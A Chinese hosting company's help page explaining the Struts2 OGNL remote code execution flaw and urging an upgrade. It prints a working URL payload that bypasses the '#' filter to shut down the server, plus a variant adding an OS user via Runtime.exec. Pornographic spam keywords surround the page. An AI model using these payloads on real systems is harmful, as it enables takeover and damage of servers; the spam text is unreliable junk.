端端伎頎頎端端端端aV祥縐I色诱久久I免费无码毛片一区二区A片小说I久久444I少妇25pIav久草I精品国产精品国产精品I熟女60pI西西人体444WWW无码男男I97色网Iwwww国产

當前位置:萬網互聯首頁 > 幫助中心 > 閱讀:

struts2漏洞原理及解決辦法

struts2漏洞原理及解決辦法

 
分享到:
 
發布時間:2013-7-19 9:52:14
 

 


Struts2被曝存在重大遠程任意代碼執行安全漏洞,影響Struts2全系版本。而對于此次堪比棱鏡事件的危害,安全寶指出,眾多大型互聯網廠商均存在該漏洞,且影響廠商仍在擴大之中。同時漏洞利用代碼已經被強化,可直接通過瀏覽器的提交對服務器進行任意操作并獲取敏感內容。目前安全寶用戶暫可高枕無憂。同時也建議使用Struts開源架構的網站用戶盡快加入安全寶云體系,以保護網站免受漏洞的威脅。
  據悉,Struts2漏洞由網安全寶在昨日率先攔截到其攻擊,漏洞涉及Struts2.0及以上的版本,是一個遠程命令執行漏洞和開放重定向漏洞。利用漏洞,黑客可發起遠程攻擊,不但可以竊取網站數據信息,甚至還可取得網站服務器控制權。而且,目前針對此漏洞的自動化工具開始出現,攻擊者無需具備與漏洞相關的專業知識即可侵入服務器,直接執行命令操作,盜取數據甚至進行毀滅性操作。
  安全寶聯合產品副總裁吳翰清指出:“Struts2是一個幫助java開發者利用j2ee開發Web應用的開發框架,作為網站開發的底層通用模板,在大型互聯網企業、政府、金融機構等網站建設中應用廣泛。因此,此次Struts 2遠程執行漏洞,將會威脅很多規模型網站。如今,開源架構下漏洞頻頻爆出,并且大多屬于突發性威脅、爆發迅速快、波及范圍廣,這警示網站安全必須由一次性維護轉向即時關注,以應對層出不窮的網站安全威脅。”
  為了防范攻擊者可能利用此漏洞發起的攻擊,安全寶提醒廣大網站管理員,應該盡快采取如下措施:
  1、DNSPOD的用戶直在DNSPOD域名管理列表中開啟安全中心,即可一鍵防御攻擊。
  2 、從Struts2的官方網站下載最新的補丁程序,并盡快將Struts 2升級到最新的2.3.15.1版本,避免遭遇嚴重的安全攻擊(下載地址http://struts.apache.org/download.cgi#struts23151)。鑒于Struts 2至今為止已經多次曝出嚴重的高危漏洞,如果不是必要,建議開發者以后考慮采用其它類似的Java開發框架。
 
1、原理
Struts2的核心是使用的webwork框架,處理 action時通過調用底層的getter/setter方法來處理http的參數,它將每個http參數聲明為一個ONGL(這里是ONGL的介紹)語句。當我們提交一個http參數:
?user.address.city=Bishkek&user['favoriteDrink']=kumys
ONGL將它轉換為:
action.getUser().getAddress().setCity("Bishkek")
action.getUser().setFavoriteDrink("kumys")
這是通過ParametersInterceptor(參數過濾器)來執行的,使用用戶提供的HTTP參數調用 ValueStack.setValue()。
為了防范篡改服務器端對象,XWork的ParametersInterceptor不允許參數名中出現“#”字符,但如果使用了Java的 unicode字符串表示\u0023,攻擊者就可以繞過保護,修改保護Java方式執行的值:
 
此處代碼有破壞性,請在測試環境執行,嚴禁用此種方法進行惡意攻擊
?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exit(1)')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1
 
轉義后是這樣:
?('#_memberAccess['allowStaticMethodAccess']')(meh)=true&(aaa)(('#context['xwork.MethodAccessor.denyMethodExecution']=#foo')(#foo=new%20java.lang.Boolean("false")))&(asdf)(('#rt.exit(1)')(#rt=@java.lang.Runtime@getRuntime()))=1
 
OGNL處理時最終的結果就是
java.lang.Runtime.getRuntime().exit(1); //關閉程序,即將web程序關閉
類似的可以執行
java.lang.Runtime.getRuntime().exec("net user 用戶名 密碼 /add");//增加操作系統用戶,在有權限的情況下能成功(在URL中用%20替換空格,%2F替換/)
只要有權限就可以執行任何DOS命令。
2、解決方法
網上很多文章都介紹了三種解決方法,個人覺得將struts2的jar包更新到最新版本最簡單,不用更改任何程序代碼,目前最新版本2.3.4
下載到的更新包中有很多jar包,我系統中主要用到以下幾個替換掉舊版本的:
commons-lang3-3.1.jar (保留commons-lang-2.6.jar)
javassist-3.11.0.GA.jar (新加包)
ognl-3.0.5.jar (替換舊版本)
struts2-core-2.3.4.1.jar (替換舊版本)
xwork-core-2.3.4.1.jar (替換舊版本)
 

 

 
關于萬網互聯
聯系我們
關于我們
本站通知
行業新聞
 
[更多]域名相關問題
如何申請域名
萬網域名解析詳圖
中頻(三五互聯)域名解析詳圖
新網域名解析詳圖
解析后打不開網站分析
 
[更多]主機相關問題
如何申請虛擬主機?
如何管理我的虛擬主機?
虛擬主機基本常識
 
[更多]服務器/VPS相關問題
VPS如何遠程管理 ?
VPS使用說明?
Vps上站點常見問題解答
 
[更多]郵局相關問題
怎么樣申請企業郵局?
如何管理我的郵局?
FOXMAIL或OUTLOOK怎樣收發郵件
企業郵局基本知識
 
[更多]其他幫助主題
ICP備案注意事項
虛擬主機備案填寫內容
萬網空間備案說明
解決“備案網站打不開”的辦法
備案被拒絕原因及處理辦法集錦
網站備案之典型問題指南
 
首 頁 |  關于我們 |  網站地圖 |  代理加盟 |  咨詢反饋 |  文檔中心 |  價格總覽 |  付款方式 | |  聯系我們

地址:廈門市思明區軟件園二期望海路65號之二A905單元  

電話:400-808-4000-2 企業QQ:800062195 (服務時間上午9:00-12:00 下午13:00-18:00)

萬網互聯代理域名注冊機構:阿里云計算有限公司/成都西維數碼科技有限公司/上海有孚網絡股份有限公司

江蘇邦寧科技有限公司/商中在線科技股份有限公司/企商在線(北京)網絡股份有限公司

廈門三五互聯科技有限公司/北京新網數碼信息技術有限公司/上海美橙科技信息發展有限公司

騰訊云計算(北京)有限責任公司/廈門納網科技有限公司/鄭州易方科貿有限公司

萬網互聯代理空間:萬網空間/美橙空間/西數空間/景安空間

信息產業部備案:蘇ICP備14056369號 蘇公網安備 32021102001516號

Copyright © 2001-2026 萬網互聯 All Rights Reserved. 執行:0毫秒

萬網互聯是萬網在山東的核心代理商,主要經營萬網域名萬網空間萬網郵箱,并銷售新網域名中頻(三五互聯)域名新互域名

ICANN注冊商委任協議規定之注冊人權利與責任 萬網互聯代理合同


不良信息舉報中心
經營性網站備案信息 可信網站
主站蜘蛛池模板: 欧美自拍亚洲综合丝袜| 一本一道av无码中文字幕麻豆| 亚洲国产成人久久综合区| 久久99国产综合精品免费| 精品丝袜人妻久久久久久| 国产成人a在线视频免费| 无码刺激a片一区二区三区| 中国少妇| 国产精品无码人妻一区二区在线| 玖玖资源站无码专区| 国产激情免费视频在线观看| 久久精品第九区免费观看| 亚洲精品无码aⅴ中文字幕蜜桃| 色婷婷狠狠久久综合五月| 日本xxxx丰满老妇| 深夜福利啪啪片| 欧美成人精品一区二区三区色欲| 狠狠躁天天躁中文字幕无码| 亚洲熟女乱综合一区二区在线| 久久午夜夜伦鲁鲁片无码免费| 麻豆果冻国产剧情av在线播放 | 51国产偷自视频区视频| 人人入人人爱| 色翁荡熄又大又硬又粗又视频图片| 在线日韩日本国产亚洲| 无码国产精品一区二区免费式芒果 | 激情小说图片| 欧美饥渴熟妇高潮喷水水| 欧美野外疯狂做受xxxx高潮| 亚洲 日韩 另类 天天更新| 精品一卡二卡三卡| 好吊色欧美一区二区三区四区| 亚洲人成网7777777国产| 麻豆国产成人av在线| 老湿机69福利区无码| 天天鲁在视频在线观看| 在线亚洲午夜理论av大片| 无码人妻丰满熟妇a片护士| 十八禁av无码免费网站| 色婷婷国产精品高潮呻吟av久久| 思思久久精品一本到99热|